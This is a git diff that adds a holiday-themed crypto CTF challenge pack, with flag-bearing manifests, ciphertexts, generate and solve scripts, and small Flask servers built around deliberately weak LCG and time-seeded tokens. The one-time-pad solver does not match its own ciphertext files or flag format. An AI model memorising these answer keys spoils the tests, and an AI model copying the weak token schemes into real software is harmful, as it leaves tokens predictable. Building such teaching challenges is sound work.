diff --git a/Crypto/.DS_Store b/Crypto/.DS_Store new file mode 100644 index 0000000..f5f2fae Binary files /dev/null and b/Crypto/.DS_Store differ diff --git a/Crypto/Easy/Elf's Base64 Cocoa/manifest.yml b/Crypto/Easy/Elf's Base64 Cocoa/manifest.yml new file mode 100644 index 0000000..56f1aa0 --- /dev/null +++ b/Crypto/Easy/Elf's Base64 Cocoa/manifest.yml @@ -0,0 +1,11 @@ +slug: elfs_base64_cocoa +title: "Elf's Base64 Cocoa" +description: "Elfs wrote a naive multi-encoding wrapper to hide key that opens a secret vault of presents. They swore it's totally secure because it's 'encoded multiple times.' All you found is an encoded blob and a debug log. Can you unwrap it and recover the flag?" +category: "crypto" +points: 200 +is_visible: true +complexity: 2 +attachments: + - "public/log.txt" + - "public/message.txt" +flag_plaintext: "CTF{b4s364_m4d3_3v3ryth1ng_b3tt3r}" \ No newline at end of file diff --git a/Crypto/Easy/Elf's Base64 Cocoa/public/log.txt b/Crypto/Easy/Elf's Base64 Cocoa/public/log.txt new file mode 100644 index 0000000..427776a --- /dev/null +++ b/Crypto/Easy/Elf's Base64 Cocoa/public/log.txt @@ -0,0 +1,5 @@ +[wrapper] applying base64 +[wrapper] applying rot13 +[wrapper] applying hex +[wrapper] applying base64 +[wrapper] done diff --git a/Crypto/Easy/Elf's Base64 Cocoa/public/message.txt b/Crypto/Easy/Elf's Base64 Cocoa/public/message.txt new file mode 100644 index 0000000..d6d8480 --- /dev/null +++ b/Crypto/Easy/Elf's Base64 Cocoa/public/message.txt @@ -0,0 +1 @@ +NDQzMTQ1NTQ3MjMyNTYzMDcwNmQ1YTMyNDE1MzM5Njc0MTU0NDQ2ZDRiNmQ0MTMyNWEzMzU3MzU3MTU0NzQ2YjZmN2E3MTczNGM3NzQxMzA3MTUxNDE2YzczNDQzZDNk diff --git a/Crypto/Easy/Elf's Base64 Cocoa/scripts/generate.py b/Crypto/Easy/Elf's Base64 Cocoa/scripts/generate.py new file mode 100644 index 0000000..f3d3a31 --- /dev/null +++ b/Crypto/Easy/Elf's Base64 Cocoa/scripts/generate.py @@ -0,0 +1,22 @@ +import base64, binascii, codecs, argparse, pathlib + +def encode_layers(s: str) -> str: + l1 = base64.b64encode(s.encode()).decode() # base64 + l2 = codecs.encode(l1, 'rot_13') # rot13 + l3 = binascii.hexlify(l2.encode()).decode() # hex + lf = base64.b64encode(l3.encode()).decode() # base64 + return lf + +def main(): + ap = argparse.ArgumentParser() + ap.add_argument("--flag", required=True, + help="Flag string to wrap.") + ap.add_argument("--out", default="message.txt") + args = ap.parse_args() + + out = encode_layers(args.flag) + pathlib.Path(args.out).write_text(out + "\n") + print(out) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/Crypto/Easy/Elf's Base64 Cocoa/scripts/solve.py b/Crypto/Easy/Elf's Base64 Cocoa/scripts/solve.py new file mode 100644 index 0000000..a01e35c --- /dev/null +++ b/Crypto/Easy/Elf's Base64 Cocoa/scripts/solve.py @@ -0,0 +1,17 @@ +import base64, binascii, codecs, pathlib, sys + +def solve(s: str) -> str: + l3 = base64.b64decode(s).decode() # undo final base64 + l2 = binascii.unhexlify(l3).decode() # undo hex + l1 = codecs.decode(l2, 'rot_13') # undo rot13 + flag = base64.b64decode(l1).decode() # undo first base64 + return flag + +def main(): + path = pathlib.Path("message.txt") + data = path.read_text().strip() + flag = solve(data) + print(flag) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/Crypto/Easy/Santa's Salad/manifest.yml b/Crypto/Easy/Santa's Salad/manifest.yml new file mode 100644 index 0000000..9256621 --- /dev/null +++ b/Crypto/Easy/Santa's Salad/manifest.yml @@ -0,0 +1,10 @@ +slug: santas_salad +title: "Santa's Salad" +description: "Santa loves Caesar salad for lunch, but he is worried that someone might steal his secret recipe. He decided to encrypt it using a simple Caesar cipher. Can you help him recover the recipe?" +category: "crypto" +points: 100 +is_visible: true +complexity: 1 +attachments: + - "public/ciphertext.txt" +flag_plaintext: "CTF{m4k3_c43s4r_c1ph3r_gr34t_4g41n}" \ No newline at end of file diff --git a/Crypto/Easy/Santa's Salad/public/ciphertext.txt b/Crypto/Easy/Santa's Salad/public/ciphertext.txt new file mode 100644 index 0000000..943ec9c --- /dev/null +++ b/Crypto/Easy/Santa's Salad/public/ciphertext.txt @@ -0,0 +1 @@ +FWI{p4n3_f43v4u_f1sk3u_ju34w_4j41q} \ No newline at end of file diff --git a/Crypto/Easy/Santa's Salad/scripts/generate.py b/Crypto/Easy/Santa's Salad/scripts/generate.py new file mode 100644 index 0000000..6a870a7 --- /dev/null +++ b/Crypto/Easy/Santa's Salad/scripts/generate.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python3 +""" +Utility to generate Caesar-shifted ciphertext for the challenge. +Usage: python3 generate_cipher.py --text "YOUR PLAINTEXT" --shift 3 +""" +import argparse + +ALPHA = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + +def caesar_encrypt(text: str, shift: int) -> str: + out = [] + for ch in text: + if ch.isalpha(): + is_lower = ch.islower() + base = ch.upper() + idx = ALPHA.index(base) + new_idx = (idx + shift) % 26 + new_ch = ALPHA[new_idx] + out.append(new_ch.lower() if is_lower else new_ch) + else: + out.append(ch) + return ''.join(out) + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + parser.add_argument('--text', required=True) + parser.add_argument('--shift', type=int, default=3) + args = parser.parse_args() + print(caesar_encrypt(args.text, args.shift)) \ No newline at end of file diff --git a/Crypto/Easy/Santa's Salad/scripts/solve.py b/Crypto/Easy/Santa's Salad/scripts/solve.py new file mode 100644 index 0000000..9689e43 --- /dev/null +++ b/Crypto/Easy/Santa's Salad/scripts/solve.py @@ -0,0 +1,28 @@ +import string + +ALPHA = string.ascii_uppercase + +def caesar_decrypt(text: str, shift: int) -> str: + out = [] + for ch in text: + if ch.isalpha(): + is_lower = ch.islower() + base = ch.upper() + idx = ALPHA.index(base) + new_idx = (idx - shift) % 26 + new_ch = ALPHA[new_idx] + out.append(new_ch.lower() if is_lower else new_ch) + else: + out.append(ch) + return ''.join(out) + +if __name__ == '__main__': + import sys + if len(sys.argv) < 2: + print('Usage: solve.py ciphertext.txt') + sys.exit(1) + with open(sys.argv[1], 'r') as f: + ct = f.read().strip() + for s in range(26): + candidate = caesar_decrypt(ct, s) + print(f"Shift={s}: {candidate}") \ No newline at end of file diff --git a/Crypto/Hard/One-Time Mistake/manifest.yml b/Crypto/Hard/One-Time Mistake/manifest.yml new file mode 100644 index 0000000..5fbcc56 --- /dev/null +++ b/Crypto/Hard/One-Time Mistake/manifest.yml @@ -0,0 +1,12 @@ +slug: crypto_one_time_mistake +title: "One-Time Mistake" +description: "The North Pole Secret Agency uses one-time pads for the highest-value messages — or at least they should. While collecting intercepted traffic, Grinch found two ciphertexts that were, unfortunately, encrypted with the same pad. One message looks like a routine operation report (standard template), the other is labelled “CONFIDENTIAL MESSAGE”. The trafficker clearly made a one-time mistake." +category: "crypto" +points: 900 +is_visible: true +complexity: 9 +attachments: + - "public/routine_report_template.txt" + - "public/cipher1.hex" + - "public/cipher2.hex" +flag_plaintext: "CTF{n3v3r_r3us3_0n3_t1m3_p4d_k3ys!}" \ No newline at end of file diff --git a/Crypto/Hard/One-Time Mistake/public/cipher1.hex b/Crypto/Hard/One-Time Mistake/public/cipher1.hex new file mode 100644 index 0000000..5f295a0 --- /dev/null +++ b/Crypto/Hard/One-Time Mistake/public/cipher1.hex @@ -0,0 +1 @@ +d40ae6aa02c70928209e365ae05132bcb8c54492069e62a043e774da72adcdb8a905af89f3685ba3c312ab8090154082d7bf2ab9d38c178415817dd0a6bc3c499f61d20cb407782f62b229d1012ec5ed83cc676fd211634af6e46eec2063ff51e97c46088b19e0e3425871a5b6628a3a0a29f85c566dd63c2711324878d7 \ No newline at end of file diff --git a/Crypto/Hard/One-Time Mistake/public/cipher2.hex b/Crypto/Hard/One-Time Mistake/public/cipher2.hex new file mode 100644 index 0000000..e331c2c --- /dev/null +++ b/Crypto/Hard/One-Time Mistake/public/cipher2.hex @@ -0,0 +1 @@ +d815edbe0ad705293af72553905325bbe1c062a369e716d70ca4769d6ceda2f8af7a89d4c52c0fb0dd0aea85c24063c3d18a24e9dec516ab70a47bd6abbc795ecb77cf0daf07682760ba319a0138c5fe83d76f6fc43b644fffa879b51270ff52ee56 \ No newline at end of file diff --git a/Crypto/Hard/One-Time Mistake/public/routine_report_template.txt b/Crypto/Hard/One-Time Mistake/public/routine_report_template.txt new file mode 100644 index 0000000..9a1e0f7 --- /dev/null +++ b/Crypto/Hard/One-Time Mistake/public/routine_report_template.txt @@ -0,0 +1,6 @@ +OPERATION REPORT +Date: [today's date] (format dd-mm-yy) +Unit: [Alpha|Beta|Delta] (one of these) +Subject: Routine status update +Details: All systems operational. +End of report. \ No newline at end of file diff --git a/Crypto/Hard/One-Time Mistake/scripts/generate.py b/Crypto/Hard/One-Time Mistake/scripts/generate.py new file mode 100644 index 0000000..36de33f --- /dev/null +++ b/Crypto/Hard/One-Time Mistake/scripts/generate.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python3 + +import os, binascii, argparse + +def main(flag: str): + p1 = "OPERATION REPORT\nDate: 14-11-2025\nUnit: Alpha\nSubject: Routine status update\nDetails: All systems operational.\nEnd of report.\n" + p2 = f"CONFIDENTIAL MESSAGE\n{flag}\nProceed with exfil.\nRegards,\nField Agent\n" + + p1 = p1.encode() + p2 = p2.encode() + + L = max(len(p1), len(p2)) + key = os.urandom(L) + + c1 = bytes([p1[i] ^ key[i] for i in range(len(p1))]) + c2 = bytes([p2[i] ^ key[i] for i in range(len(p2))]) + + print(binascii.hexlify(c1).decode()) + print(binascii.hexlify(c2).decode()) + + # optionally write to cipher1.hex / cipher2.hex + with open("public/cipher1.hex","w+") as f: + f.write(binascii.hexlify(c1).decode()) + with open("public/cipher2.hex","w+") as f: + f.write(binascii.hexlify(c2).decode()) + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + parser.add_argument('--flag', required=True) + + args = parser.parse_args() + print(main(args.flag)) \ No newline at end of file diff --git a/Crypto/Hard/One-Time Mistake/scripts/solve.py b/Crypto/Hard/One-Time Mistake/scripts/solve.py new file mode 100644 index 0000000..2c7dc82 --- /dev/null +++ b/Crypto/Hard/One-Time Mistake/scripts/solve.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python3 +# exploit.py +# Try date variants and Unit options for the provided OPERATION REPORT template, +# derive key prefix from c1 and decrypt c2. Look for CTF{...}. + +import binascii +import re + +# Ciphertexts (exact hex strings provided earlier in this conversation) +C1_HEX = "7a4ca3bb8c3a8b4e2f5b399a1ff9b911691c07ed68e0636c0ca1d10c4786c3ad1880e2675a2c9e260072080afdfc80e93141556487fbf8099c54b971b8f6a5ed62954984d943761f6591888032782a8c1a63826a398200ddebf50ac02dbf6287ef744b1b767e95581f9baa8771626496392757be7df4eb9e633630bcb0b4" +C2_HEX = "7653a8af842a874f35322a936ffbae16301921dc078d0a097bd8a646048785ac5fd5c53a462b975971704b3de8c7beaf0c5b0463acaaeb228000b01286e1eafd739159d1dd0a770721958483515061f2296f897871c6329d8d9310dc32af27abfb314a1f19" + +c1 = binascii.unhexlify(C1_HEX) +c2 = binascii.unhexlify(C2_HEX) + +# Template and choices +date_variants = ["14-11-25", "14-11-2025"] # try both dd-mm-yy and dd-mm-yyyy +units = ["Alpha", "Beta", "Delta"] + +def make_p1(date_str: str, unit: str) -> bytes: + """Construct plaintext candidate for message 1 using the template exactly.""" + s = ( + "OPERATION REPORT\n" + f"Date: {date_str}\n" + f"Unit: {unit}\n" + "Subject: Routine status update\n" + "Details: All systems operational.\n" + "End of report.\n" + ) + return s.encode("utf-8") + +def derive_key_prefix_from_p1(c1_bytes: bytes, p1_bytes: bytes) -> bytes: + """Derive the key prefix by XORing c1 and the candidate p1 bytes where p1 exists.""" + L = min(len(c1_bytes), len(p1_bytes)) + return bytes([c1_bytes[i] ^ p1_bytes[i] for i in range(L)]) + +def decrypt_with_key_prefix(c2_bytes: bytes, key_prefix: bytes) -> str: + """Decrypt the prefix of c2 using the derived key prefix, leave rest unknown as '?'.""" + out_chars = [] + for i in range(len(c2_bytes)): + if i < len(key_prefix): + out_chars.append(chr(c2_bytes[i] ^ key_prefix[i])) + else: + out_chars.append("?") + return "".join(out_chars) + +flag_re = re.compile(r"WITCTF\{[A-Za-z0-9_!@#\$%\^&*\-:.?+=/\\]+\}") + +found = False +results = [] + +for date_str in date_variants: + for unit in units: + p1 = make_p1(date_str, unit) + # if p1 longer than c1, we can still derive prefix (we will take min inside function) + key_pref = derive_key_prefix_from_p1(c1, p1) + dec = decrypt_with_key_prefix(c2, key_pref) + # Search for FLAG + m = flag_re.search(dec) + info = { + "date": date_str, + "unit": unit, + "derived_key_len": len(key_pref), + "decrypted_preview": dec[:300] + } + results.append(info) + print("-" * 72) + print(f"Trying Date='{date_str}' Unit='{unit}' (derived key bytes: {len(key_pref)})") + print("Decrypted preview (unknowns shown as '?'):\n") + print(dec[:300]) + if m: + print("\n>>> FLAG FOUND:", m.group(0)) + found = True + +if not found: + print("\nNo flag found with the tried date/unit combinations.") +else: + print("\nFinished.") diff --git a/Crypto/Medium/.DS_Store b/Crypto/Medium/.DS_Store new file mode 100644 index 0000000..100dcd8 Binary files /dev/null and b/Crypto/Medium/.DS_Store differ diff --git a/Crypto/Medium/Rudolph's Rot-N/manifest.yml b/Crypto/Medium/Rudolph's Rot-N/manifest.yml new file mode 100644 index 0000000..bd5e331 --- /dev/null +++ b/Crypto/Medium/Rudolph's Rot-N/manifest.yml @@ -0,0 +1,10 @@ +slug: rudolphs_rot_n +title: "Rudolph's Rot-N" +description: "Rudolf encrypts the flag using a ROT cipher, but instead of the normal alphabet, it uses the QWERTY keyboard layout as the rotation order. Recover the original flag by determining the correct shift value." +category: "crypto" +points: 500 +is_visible: true +complexity: 5 +attachments: + - "public/ciphertext.txt" +flag_plaintext: "CTF{custom_rot_with_keyboard_layout}" diff --git a/Crypto/Medium/Rudolph's Rot-N/public/ciphertext.txt b/Crypto/Medium/Rudolph's Rot-N/public/ciphertext.txt new file mode 100644 index 0000000..0e70a1d --- /dev/null +++ b/Crypto/Medium/Rudolph's Rot-N/public/ciphertext.txt @@ -0,0 +1 @@ +RDC{rgzdji_sjd_phdb_mafyjlsx_qlfjgd} \ No newline at end of file diff --git a/Crypto/Medium/Rudolph's Rot-N/scripts/generate.py b/Crypto/Medium/Rudolph's Rot-N/scripts/generate.py new file mode 100644 index 0000000..dbb62c1 --- /dev/null +++ b/Crypto/Medium/Rudolph's Rot-N/scripts/generate.py @@ -0,0 +1,28 @@ +# generate.py +# Apply custom ROT encryption using QWERTY alphabet + +def rot_custom(text: str, shift: int, alphabet: str = "qwertyuiopasdfghjklzxcvbnm") -> str: + alphabet_lower = alphabet.lower() + alphabet_upper = alphabet.upper() + result = [] + + for char in text: + if char in alphabet_lower: + idx = (alphabet_lower.index(char) + shift) % len(alphabet_lower) + result.append(alphabet_lower[idx]) + elif char in alphabet_upper: + idx = (alphabet_upper.index(char) + shift) % len(alphabet_upper) + result.append(alphabet_upper[idx]) + else: + result.append(char) + + return "".join(result) + + +if __name__ == "__main__": + custom_keyboard = "qwertyuiopasdfghjklzxcvbnm" + flag = "CTF{custom_rot_with_keyboard_layout}" + shift = 8 + + encrypted = rot_custom(flag, shift, custom_keyboard) + print(encrypted) diff --git a/Crypto/Medium/Rudolph's Rot-N/scripts/solve.py b/Crypto/Medium/Rudolph's Rot-N/scripts/solve.py new file mode 100644 index 0000000..898905c --- /dev/null +++ b/Crypto/Medium/Rudolph's Rot-N/scripts/solve.py @@ -0,0 +1,27 @@ +# solve.py +# Brute-force all possible shifts to recover the plaintext + +def rot_custom(text: str, shift: int, alphabet: str = "qwertyuiopasdfghjklzxcvbnm") -> str: + alphabet_lower = alphabet.lower() + alphabet_upper = alphabet.upper() + result = [] + + for char in text: + if char in alphabet_lower: + idx = (alphabet_lower.index(char) + shift) % len(alphabet_lower) + result.append(alphabet_lower[idx]) + elif char in alphabet_upper: + idx = (alphabet_upper.index(char) + shift) % len(alphabet_upper) + result.append(alphabet_upper[idx]) + else: + result.append(char) + + return "".join(result) + + +if __name__ == "__main__": + encrypted = "RDC{rgzdji_sjd_phdb_mafyjlsx_qlfjgd}" + custom_keyboard = "qwertyuiopasdfghjklzxcvbnm" + + for i in range(26): + print(i, rot_custom(encrypted, i, custom_keyboard)) diff --git a/Crypto/Medium/Santa's LCG.zip b/Crypto/Medium/Santa's LCG.zip new file mode 100644 index 0000000..e464207 Binary files /dev/null and b/Crypto/Medium/Santa's LCG.zip differ diff --git a/Crypto/Medium/Santa's LCG/Dockerfile b/Crypto/Medium/Santa's LCG/Dockerfile new file mode 100644 index 0000000..7131e4c --- /dev/null +++ b/Crypto/Medium/Santa's LCG/Dockerfile @@ -0,0 +1,13 @@ +FROM python:3.11-slim + +WORKDIR /app +COPY . /app +RUN pip install flask requests gunicorn + +EXPOSE 80 +ENV PORT=80 + +COPY entrypoint.sh /entrypoint.sh +RUN chmod +x /entrypoint.sh + +ENTRYPOINT ["/entrypoint.sh"] diff --git a/Crypto/Medium/Santa's LCG/app.py b/Crypto/Medium/Santa's LCG/app.py new file mode 100644 index 0000000..fafdcc1 --- /dev/null +++ b/Crypto/Medium/Santa's LCG/app.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 +""" +LCG Treasure - Flask app (Crypto CTF) + +Generates an LCG with modulus m = 2**32 and picks parameters a,c and initial state x0. +Exposes a challenge page with several consecutive outputs (as unsigned 32-bit integers). +Players must recover a and c (mod 2^32) and predict the next output. + +Flag is returned when /flag?token= matches the real next value. + +This is intentionally weak for CTF learning purposes. +""" +import os +import random +from flask import Flask, render_template, request, abort, jsonify +import struct + +app = Flask(__name__) + +# modulus +M = 2**32 + +# configuration +NUM_TOTAL = 6 # total LCG outputs generated (we keep extras) +NUM_OBSERVED = 3 # number of consecutive outputs shown to the player +FLAG_FILE = "flag.txt" + +# helper: generate LCG ensuring invertible difference for solver +def generate_lcg_instance(): + while True: + # pick odd multiplier (common in LCGs), 32-bit unsigned + a = random.randrange(1, M) + if a % 2 == 0: + a |= 1 # make odd + c = random.randrange(0, M) + x0 = random.randrange(0, M) + seq = [x0] + for i in range(1, NUM_TOTAL): + seq.append((a * seq[-1] + c) % M) + # We need the difference (x1 - x0) to be invertible mod 2^32. + # Inverse exists iff (x1 - x0) is odd (because modulus is power of two). + diff = (seq[1] - seq[0]) % M + if diff & 1 == 1: + # good: solver will be able to compute modular inverse modulo 2^32 + return a, c, seq + +# initialize once +A, C, SEQ = generate_lcg_instance() +OBSERVED = SEQ[:NUM_OBSERVED] +TARGET = SEQ[NUM_OBSERVED] # token to predict + +@app.route("/") +def challenge(): + # Present observed tokens as decimal and hex for convenience + obs_pairs = [{"dec": x, "hex": f"0x{x:08x}"} for x in OBSERVED] + return render_template("challenge.html", observed=obs_pairs, note=f"Predict the next 32-bit output (unsigned) after the {NUM_OBSERVED} shown values.") + +@app.route("/api/observed") +def api_observed(): + obs = [{"dec": x, "hex": f"0x{x:08x}"} for x in OBSERVED] + return jsonify({ + "observed": [x for x in OBSERVED], + "observed_hex": [f"0x{x:08x}" for x in OBSERVED], + "note": f"Predict the next 32-bit output (unsigned) after the {NUM_OBSERVED} shown values." + }) + +@app.route("/flag") +def flag(): + token = request.args.get("token", "").strip() + if token == "": + abort(400, "Missing token parameter. Provide unsigned decimal token or 0xhex.") + # accept decimal or hex prefixed by 0x + try: + if token.startswith("0x") or token.startswith("0X"): + val = int(token, 16) & 0xffffffff + else: + val = int(token) & 0xffffffff + except: + abort(400, "Invalid token format.") + if val == TARGET: + if os.path.exists(FLAG_FILE): + with open(FLAG_FILE, "r") as f: + return f.read().strip() + "\n" + else: + return "FLAG_MISSING\n" + else: + abort(403, "Incorrect token.") diff --git a/Crypto/Medium/Santa's LCG/entrypoint.sh b/Crypto/Medium/Santa's LCG/entrypoint.sh new file mode 100644 index 0000000..67c404d --- /dev/null +++ b/Crypto/Medium/Santa's LCG/entrypoint.sh @@ -0,0 +1,10 @@ +#!/bin/bash +set -e + +# If FLAG is set, write it to /app/flag.txt +if [ -n "$FLAG" ]; then + echo "$FLAG" > /app/flag.txt + chmod 644 /app/flag.txt +fi + +exec gunicorn -b 0.0.0.0:${PORT} -w 2 -k gthread --threads 4 --timeout 30 app:app diff --git a/Crypto/Medium/Santa's LCG/manifest.yml b/Crypto/Medium/Santa's LCG/manifest.yml new file mode 100644 index 0000000..a27e3d0 --- /dev/null +++ b/Crypto/Medium/Santa's LCG/manifest.yml @@ -0,0 +1,12 @@ +slug: santas_lcg +title: "Santa's LCG" +description: "Santa's Inteligence Office bragged their “quantum” token generator was unbreakable, but the promo leak reveals consecutive outputs from an old Linear Congruential Generator. Predict the next 32-bit output and submit it to /flag?token= to claim the secret information." +category: "crypto" +points: 800 +is_visible: true +complexity: 8 +zip: "local" +flag_plaintext: "CTF{lcg_m4d3_1ns3cure_t0k3ns}" +hints: + - text: "The page shows several consecutive 32-bit outputs from an LCG (mod 2^32). Try small integer arithmetic and inspect relations." + penalty_points: 10 \ No newline at end of file diff --git a/Crypto/Medium/Santa's LCG/scripts/solve.py b/Crypto/Medium/Santa's LCG/scripts/solve.py new file mode 100644 index 0000000..175ed10 --- /dev/null +++ b/Crypto/Medium/Santa's LCG/scripts/solve.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python3 +""" +solve.py +Automates fetching observed outputs, recovering LCG params, computing next token, +and requesting /flag?token=. +Usage: python3 solve.py http://127.0.0.1:9001 +""" +import sys +import requests +from solve_lcg import recover_params, next_value + +if len(sys.argv) < 2: + print("Usage: python3 solve.py ") + sys.exit(1) + +base = sys.argv[1].rstrip("/") +api = base + "/api/observed" +r = requests.get(api, timeout=5) +r.raise_for_status() +j = r.json() +observed = j["observed"] +if len(observed) < 3: + print("Need at least 3 observed outputs.") + sys.exit(1) + +x0, x1, x2 = [int(x) & 0xffffffff for x in observed[:3]] +a, c = recover_params(x0, x1, x2) +if a is None: + print("Failed to recover parameters; difference was not invertible modulo 2^32.") + sys.exit(1) +nxt = next_value(x2, a, c) +print("[*] Recovered a=0x%08x c=0x%08x" % (a, c)) +print("[*] Predicted next token (dec):", nxt) +print("[*] Requesting flag...") +r2 = requests.get(base + "/flag", params={"token": str(nxt)}, timeout=5) +print("[*] Response:", r2.status_code) +print(r2.text) diff --git a/Crypto/Medium/Santa's LCG/scripts/solve_lcg.py b/Crypto/Medium/Santa's LCG/scripts/solve_lcg.py new file mode 100644 index 0000000..bae3b5c --- /dev/null +++ b/Crypto/Medium/Santa's LCG/scripts/solve_lcg.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +""" +solve_lcg.py + +Recover LCG parameters a, c modulo 2^32 from three consecutive outputs x0, x1, x2. +Usage: + python3 solve_lcg.py x0 x1 x2 +Example: + python3 solve_lcg.py 123 456 789 +If successful prints a, c, and the next output. +""" +import sys + +M = 2**32 + +def modinv_pow2(x): + """ + Compute modular inverse of x modulo 2^32 if it exists. + For modulus 2^k, inverse exists iff x is odd. + Uses Newton-Raphson to invert modulo 2^32. + """ + if x % 2 == 0: + return None + # initial inverse mod 2 + inv = 1 + # Newton iteration: inv = inv*(2 - x*inv) mod 2^n doubles correct bits each step + for _ in range(5): # 2^1 -> 2^32 in 5 iterations (1->2->4->8->16->32) + inv = (inv * (2 - (x * inv) % M)) % M + return inv % M + +def recover_params(x0, x1, x2): + diff1 = (x1 - x0) % M + diff2 = (x2 - x1) % M + inv = modinv_pow2(diff1) + if inv is None: + return None, None + a = (diff2 * inv) % M + c = (x1 - (a * x0) % M) % M + return a, c + +def next_value(x, a, c): + return (a * x + c) % M + +if __name__ == "__main__": + if len(sys.argv) != 4: + print("Usage: python3 solve_lcg.py x0 x1 x2") + sys.exit(1) + x0 = int(sys.argv[1]) & 0xffffffff + x1 = int(sys.argv[2]) & 0xffffffff + x2 = int(sys.argv[3]) & 0xffffffff + a, c = recover_params(x0, x1, x2) + if a is None: + print("Could not invert difference; try different consecutive outputs.") + sys.exit(1) + print("Recovered parameters:") + print("a = 0x%08x (%u)" % (a, a)) + print("c = 0x%08x (%u)" % (c, c)) + nxt = next_value(x2, a, c) + print("Predicted next (decimal):", nxt) + print("Predicted next (hex): 0x%08x" % nxt) diff --git a/Crypto/Medium/Santa's LCG/templates/challenge.html b/Crypto/Medium/Santa's LCG/templates/challenge.html new file mode 100644 index 0000000..ff56d0d --- /dev/null +++ b/Crypto/Medium/Santa's LCG/templates/challenge.html @@ -0,0 +1,108 @@ + + + + + Santa's Intelligence Office – Token Stream + + + +
+
Santa's Intelligence Office – Winter Briefing
+

Token Stream Record

+ +
Observed 32-bit outputs
+
+ {% for t in observed %} +
dec {{ t.dec }} hex {{ t.hex }}
+ {% endfor %} +
+

{{ note }}

+ +
+ +
Submission format
+

+ Use: /flag?token=VALUE
+ Decimal or hex (0x...) both accepted. +

+ +
Machine-readable stream
+

+ /api/observed +

+
+ + diff --git a/Crypto/Medium/Santa's Secret Shift/manifest.yml b/Crypto/Medium/Santa's Secret Shift/manifest.yml new file mode 100644 index 0000000..4227b99 --- /dev/null +++ b/Crypto/Medium/Santa's Secret Shift/manifest.yml @@ -0,0 +1,10 @@ +slug: santas_secret_shift +title: "Santa's Secret Shift" +description: "Santa hides the flag using a decreasing-shift Caesar cipher that changes the rotation for every character. Your task is to reverse the shifting pattern to recover the original message." +category: "crypto" +points: 500 +is_visible: true +complexity: 5 +attachments: + - "public/ciphertext.txt" +flag_plaintext: "CTF{make_caesar_cipher_great_again}" diff --git a/Crypto/Medium/Santa's Secret Shift/public/ciphertext.txt b/Crypto/Medium/Santa's Secret Shift/public/ciphertext.txt new file mode 100644 index 0000000..4b8a85a --- /dev/null +++ b/Crypto/Medium/Santa's Secret Shift/public/ciphertext.txt @@ -0,0 +1 @@ +BRC{ivex_uruhoe_otzqmy_mwidv_bgzgk} \ No newline at end of file diff --git a/Crypto/Medium/Santa's Secret Shift/scripts/generate.py b/Crypto/Medium/Santa's Secret Shift/scripts/generate.py new file mode 100644 index 0000000..0aefaa9 --- /dev/null +++ b/Crypto/Medium/Santa's Secret Shift/scripts/generate.py @@ -0,0 +1,29 @@ +# generate.py +# Reproduce the shifting process to generate the challenge string + +def shift_letter(letter, shift): + start = ord('A') if letter.isupper() else ord('a') + return chr(start + (ord(letter) - start + shift) % 26) + + +def generate(plaintext): + out = "" + i = 25 # starting shift + + for c in plaintext: + if c in ['{', '}', '_']: + # Not shifted — added directly + out += c + continue + + # Apply shift and decrease shift counter + out += shift_letter(c, i) + i -= 1 + + return out + + +if __name__ == "__main__": + # Example usage: + flag = "CTF{make_caesar_cipher_great_again}" + print(generate(flag)) diff --git a/Crypto/Medium/Santa's Secret Shift/scripts/solve.py b/Crypto/Medium/Santa's Secret Shift/scripts/solve.py new file mode 100644 index 0000000..df2241d --- /dev/null +++ b/Crypto/Medium/Santa's Secret Shift/scripts/solve.py @@ -0,0 +1,26 @@ +# solve.py +# Reverse the shifting to recover the original plaintext + +def unshift_letter(letter, shift): + start = ord('A') if letter.isupper() else ord('a') + return chr(start + (ord(letter) - start - shift) % 26) + + +def solve(encoded): + out = "" + i = 25 # starting shift + + for c in encoded: + if c in ['{', '}', '_']: + out += c + continue + + out += unshift_letter(c, i) + i -= 1 + + return out + + +if __name__ == "__main__": + a = 'BRC{ivex_uruhoe_otzqmy_mwidv_bgzgk}' + print(solve(a)) diff --git a/Crypto/Medium/Santa's Weak Seed/Dockerfile b/Crypto/Medium/Santa's Weak Seed/Dockerfile new file mode 100644 index 0000000..a864531 --- /dev/null +++ b/Crypto/Medium/Santa's Weak Seed/Dockerfile @@ -0,0 +1,13 @@ +FROM python:3.11-slim + +WORKDIR /app +COPY . /app +RUN pip install flask gunicorn + +EXPOSE 80 +ENV PORT=80 + +COPY entrypoint.sh /entrypoint.sh +RUN chmod +x /entrypoint.sh + +ENTRYPOINT ["/entrypoint.sh"] diff --git a/Crypto/Medium/Santa's Weak Seed/app.py b/Crypto/Medium/Santa's Weak Seed/app.py new file mode 100644 index 0000000..0dd34e8 --- /dev/null +++ b/Crypto/Medium/Santa's Weak Seed/app.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python3 +""" +Guess the Seed (Weak PRNG) - CTF challenge server + +Behavior: + - On startup the server picks a secret_seed = int(time.time()). + - It generates a short sequence of tokens: + token_i = sha256(str( random.Random(secret_seed + i).getrandbits(64) ).encode()).hexdigest() + for i = 0..N-1 + - The server displays observed tokens (first K tokens) and a time window [secret_seed - WINDOW, secret_seed + WINDOW] + for players to brute-force the seed. + - The correct next-token is token_K (the next sequence element). + - Hitting /flag?token= returns the flag if predicted matches token_K. + +This is intentionally weak for CTF use. +""" +import time +import random +import hashlib +import os +from flask import Flask, jsonify, render_template, request, abort + +app = Flask(__name__) + +# Configuration +NUM_TOKENS = 5 # total tokens generated on startup +OBSERVED_TOKENS = 3 # number of tokens shown to the player (first K) +WINDOW = 3600 # +/- seconds around secret seed to publish as candidate window (1 hour) +FLAG_FILE = "flag.txt" + +# Initialize state on startup +secret_seed = int(time.time()) +tokens = [] + +def make_token_from_seed(s): + """Generate a token deterministically from a seed (int).""" + rnd = random.Random(int(s)) + val = rnd.getrandbits(64) + h = hashlib.sha256(str(val).encode()).hexdigest() + # shorten token to 16 hex chars to be nicer for players + return h[:16] + +for i in range(NUM_TOKENS): + t = make_token_from_seed(secret_seed + i) + tokens.append(t) + +# target is next token after observed tokens +target_token = tokens[OBSERVED_TOKENS] # token the player must predict + +@app.route("/") +def challenge(): + """Return observed tokens and window data (player-facing).""" + start = secret_seed - WINDOW + end = secret_seed + WINDOW + obs = 